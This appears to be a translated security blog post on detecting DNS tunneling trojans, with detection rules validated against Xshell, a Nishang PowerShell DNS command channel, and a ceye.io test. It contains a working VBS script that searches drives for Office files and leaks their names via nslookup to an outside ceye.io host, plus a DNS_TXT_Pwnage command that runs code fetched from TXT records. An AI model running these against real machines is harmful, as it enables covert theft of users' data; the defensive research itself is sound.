With the increasing application of DNS tunneling, especially after the Xshell incident was disclosed, major companies initiated monitoring of DNS tunneling. Referring to the logic behind Xshell, most companies have adopted a detection scheme of âmonitoring abnormal-length domain requests from multiple terminals,â while companies that prioritize detection rate (at the expense of increasing false positives) have further reduced the number of terminals, utilizing the scheme of âsingle terminal requested abnormal-length domain namesâ to catch all suspected DNS tunneling trojans.
Recently, I suddenly discovered several machines frequently parsing strange domain names, as follows:
>
Following a tense investigation, it was confirmed that a browser plugin caused the issue. The related full domain names had registration records and were not DNS tunneling trojans, thus a false alarm. Everyone was relieved, but it also prompted reflection on how to more accurately detect genuine DNS tunneling trojans.
Big data analysis? Quite high-tech! But the implementation cost and complexity are high, making it challenging for general companies to deploy. Therefore, I analyzed the principles of DNS tunneling and hacker methodologies to propose some simple detection schemes for reference only!
Main Text:
Principle Analysis:
It is well known that DNS tunneling trojans exfiltrate data using 1) excessively long nonexistent domain names (where random numbers represent exfiltrated data) and 2) TXT packets for callback data (to update configurations, modules, etc.). A detailed analysis of this technique, which exploits open port 53 (broadly understood as a vulnerability) for transmission:
1. **Common Methods of Data Exfiltration Analysis**
a) Method 1: Utilize local DNS configuration to send domain requests, reaching the hacker-controlled DNS server through recursion (the attacker needs to control or compromise the DNS server)b) Method 2: Alter local DNS configuration to configure as public DNS like 8.8.8.8, then recursively exfiltrate data to the hacker-controlled DNS serverc) Method 3: Directly craft DNS packet bodies and send them to public DNS like 8.8.8.8, then recursively exfiltrate data to the hacker-controlled DNS serverd) Method 4: Directly craft DNS packet bodies and send them to the local DNS server, then recursively exfiltrate data to the hacker-controlled DNS servere) Method 5: Directly craft DNS packet bodies, send them to an attacker-controlled DNS server, and fetch data directly
2. **Security Forensics Analysis**
a) Method 1: This path follows system DNS configuration; unable to identify which program called DNS requests, only visible via system svchost.exe initiating DNS requests. However, anomalies can be mitigated by configuring DNS blacklists.b) Method 2: This path follows system DNS configuration, unable to identify which program called DNS requests; only logs of DNS configuration changes are available, but not who changed them. Only visible via system svchost.exe initiating DNS requests. As public services arenât controlled by the company, DNS blacklist configuration canât mitigate losses.c) Method 3: This method can identify which process initiated DNS requests (Xshell utilized this scheme). Similarly, as public services arenât controlled by the company, DNS blacklist configuration canât mitigate losses.d) Method 4: This method can identify which process initiated DNS requests (utilized by Xshell), however, anomalies can be mitigated by configuring DNS blacklists.e) Method 5: This method can identify which process initiated DNS requests, but directly reveals the location of the hackerâs DNS, allowing mitigation through direct blocking of malicious DNS targets.
3. **Analysis of Malicious Process and Black DNS Server Interaction**
a) Malicious processes only use exceedingly long domain names to record exfiltrated data, not using TXT callbacks for return data, not using A record callbacks as C&C addresses. Trojans purely exfiltrating sensitive information use this method, and under this scenario:
i. DNS servers need not provide resolving services, the DNS server can be without a return packetii. If the DNS server offers resolving services it returns resolved IP addresses, but the local process doesnât care; hence, the local process doesnât send packets based on resolve results (no socket communication)
b) Malicious processes use exceedingly long domain names for exfiltration, utilizing TXT callbacks for return data, not using A record callbacks for C&C addresses. This is the method utilized by Xshell, under this scenario:
i. DNS servers must provide resolving services, with TXT callbacks, possibly A record callbacksii. DNS servers must provide resolving services, but the local process doesnât care; hence, the local process doesnât send packets based on resolve results (no socket communication)
c) Malicious processes use exceedingly long domain names for exfiltration, utilize TXT callbacks for return data, and use A record callbacks as C&C addresses. This method is not a pure DNS tunnel, does not conform to the stealthiness of DNS. Theoretically, the probability of hackers utilizing this method from a DNS tunneling perspective is extremely low, under this scenario:
i. DNS servers must provide resolving services, with TXT callbacks, possibly A record callbacksii. Local programs initiate access to the resolved A record (with socket communication)
d) Malicious processes use exceedingly long domain names for exfiltration, donât use TXT callbacks for return data, but use A record callbacks as C&C addresses. However, this method is often used by normal programs, itâs not a pure DNS tunnel, doesnât conform to DNS stealthiness. Theoretically, hackers using this method are extremely unlikely from a DNS tunnel perspective, under this scenario:
i. DNS servers must provide resolving services, and there are callbacks, but of A record typeii. Local processes pay attention to this A record, i.e., local processes send packets to the resolved result address
Conclusion:
Upon completing analysis of data exfiltration methods, forensic examination, and malicious process interaction with black DNS servers, we have fully understood the tricks of hackers. Next, we delve deeper; firstly, considering hacker psychology, utilizing a DNS tunnel bypasses defenses (like prohibiting external connections) and evades traffic detection (like Snort signature detection) and IOC detection (like external malicious IP, malicious domain), hackers would naturally not perform additional communication with DNS-related (such as the resolved IP) IP via methods like HTTP, socket, etc. If there exists non-DNS communication, it would be obtaining C&C through TXT callbacks to fully exploit the stealthiness of DNS. Secondly, deducing from the invasion purpose: the invasionâs ultimate aim is to exfiltrate data, with account-password theft merely an intermediary process, yet the goal is to exfiltrate large datasets. So how is massive data exfiltrated using DNS? Overlong domain names * frequency equal the volume of exfiltration, with only overlong domains not dismissing the chance of transmitting small new pieces like an account-password. However, high frequency means definite extensive exfiltration. Thirdly, analyzing from domain registration, DNS inevitably involves domain issues, assuming the long domain names requested have existing registration records, then it isnât a DNS tunneling method, because registration records are fixed, the information they bear is fixed, absolutely impossible for data exfiltration.
Through the above analysis, crucial elements to monitor are derived: long domain names, frequency, TXT type, whether terminals access resolved IPs, whether there are full domain registration records, and the detection logic is deduced as follows:
Direction 1: Feature Detection:
Detect Information-Stealing Trojans (no need for updates or command receipts): ăDomain overly long or frequency highă and ăNo terminal process accessing returned A records (if any)ă and ăNo full domain registration record existsă
Detect Remote Control Trojans (need updates and command receipts): ăDomain overly long or frequency highă and ăNo terminal process accessing returned A records (if any)ă and ăNo full domain registration record existsă and ăTXT callback existsă
Universal Detection (capable of finding single exfiltration, potential for false positives due to pre-fetching by browsers, needing cross-verification with other features):
{ăTXT callback existsăand ăNo full domain registration record existsă} or {ăNo terminal process accessing returned A records (if any)ă and ăNo full domain registration record existsă}
Direction 2: Detection of Exfiltration Volume, Identifying Ongoing Large-Scale Data Breaches (for reference only, not detailed in this experiment):
Single machine detection: Domain length (3+N level domain) * Domain quantity (only counted once for identical) > Single machine threshold, assess size of exfiltrated data, trigger alarm when threshold is met
Mass event detection: A machine domain length (3+N level domain) * A machine domain quantity (only counted once for identical) + B +⊠> Multi-machine threshold, assess size of exfiltrated data, trigger alarm when threshold is met
Experiment Validation Analysis:
To verify the logical correctness of this scheme, I conducted the following experiments:
Xshell Experiment Validation:
1. Directly run Xshell, triggering DNS behavior
2. Capture the exfiltration result:
>
3. Detection logic matching analysis:
a) Exfiltrated domain is overly longb) Frequency is relatively highc) Type is TXT, with callbacksd) No A record resolution result, so no program initiates accesse) No full domain registration record exists (hackers pre-reserved some domains algorithmically, but full domain has no registration information)
Conclusion: Information-Stealing Trojan + Remote-Control Trojan
Powershell DNS Experiment Validation:
1. Construct DNS tunnel using Powershell
a) Write a simple one-line script to retrieve the service list
b) Use Nishangâs Out-NnsTxt to convert the script GetServiceToTxt.ps1 into a TXT record
c) Establish corresponding TXT records on the DNS server (subsequent execution follows the order 1,2,3,4, so create the record named 1)
Validation results, ok
d) Use Nishangâs DNS_TXT_Pwnage to read TXT and execute (the script automatically adds 1 in front of test.com and requests for a TXT record as the script execution. However, I still couldnât understand the principle of the stopstring parameter, if anyone understands please message me privately, thank you!), services can be listed normally.
Command and result as follows:
DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag
2. Capture the exfiltration result:
Utilize Microsoft Network Monitor to capture and analyze packets
3. Detection logic matching analysis:
a) Since the experiment did not exfiltrate results, the domain length is not large, as DNS tunnel exfiltration would surely use long domainsb) Since the experiment did not exfiltrate results, frequency is not high, only acquiring remote get-server function, also not high, but achieving exfiltration and obtaining more features (like mimikatz, etc.) would inevitably need high frequencyc) Type is TXT, with callbacksd) No A record resolution result, so no program initiates accesse) This experimental scenario didnât cover data exfiltration, therefore doesnât involve registration issues
Conclusion: Remote-Control Trojan (experiment functionality quite singular, expansion into comprehensive coverage ensures detection feature)
Experiment Verification of Exfiltration using ceye.io
1. Minor Data Theft and Major Data Theft
a) Minor Single Data Theft Exfiltration, easily using Windows commands (ping, nslookup, etc.) to steal machine names
b) Repeated Major Data Theft, script writes, searches for documents (Word, Excel, PPT), transmitting filenames externally (this script was not flagged by 360 Security), VBS script content as follows (code not fully validated, errors not guaranteed absent, self-modify for Chinese support or reading file contents):
'On Error Resume NextSet fso = CreateObject("Scripting.FileSystemObject")toolsName = Array(".docx", ".doc", ".xls", ".xlsx", ".ppt", ".pptx")'Const DRIVE_LETTERS="C:D:E:F:G:H:I:J:K:L:M:N:O:P:Q:R:S:T:U:V:W:X:Y:Z"Const DRIVE_LETTERS="o"''''''''''''Begin SearchCall ScanDrives()''''''''''''''''''Sub ScanDrives() Dim drives drives = Split(DRIVE_LETTERS, ":") For Each drv In drives If fso.DriveExists(drv) Then Set drive = fso.GetDrive(drv) If drive.isReady Then Call ScanFiles(drive.RootFolder) End If End If NextEnd Sub''''''''''''Sub ScanFiles(folder) For Each this_file In folder.Files On Error Resume Next Call FindKeyFile(this_file) WScript.Sleep 1 Next For Each this_folder In folder.SubFolders On Error Resume Next Call ScanFiles(this_folder) WScript.Sleep 1 NextEnd Sub'''''''''''''Sub FindKeyFile(file) On Error Resume Next For Each tool_name In toolsName ''''Convert all filenames to uppercase for matching If InStr(UCase(file.name), UCase(tool_name)) <> 0 Then DnsStr = file.name & ".xxxxxxx.ceye.io" ''''Perform silent nslookup upload Set objShell = wscript.createObject("wscript.shell") objShell.exec("%comspec% /c nslookup " & DnsStr) End If NextEnd Sub
2. Display of Exfiltration Results:
a) Single Minor Data Theft Exfiltration
b) Repeated Major Data Theft
3. Detection Logic Matching Analysis:
a) Utilize A records for exfiltration, not using TXT callbacks, not overly long length (experimental reasons, domain length not fully exploited), but high frequency. The analysis of the resolution process didnât reveal abnormalities (but this capture was for 8.8.8.8, unrelated to system DNS, posing certain risks)
b) No subsequent accesses to resolved A record results
c) No full domain registration record exists
Conclusion: Data-Theft Trojan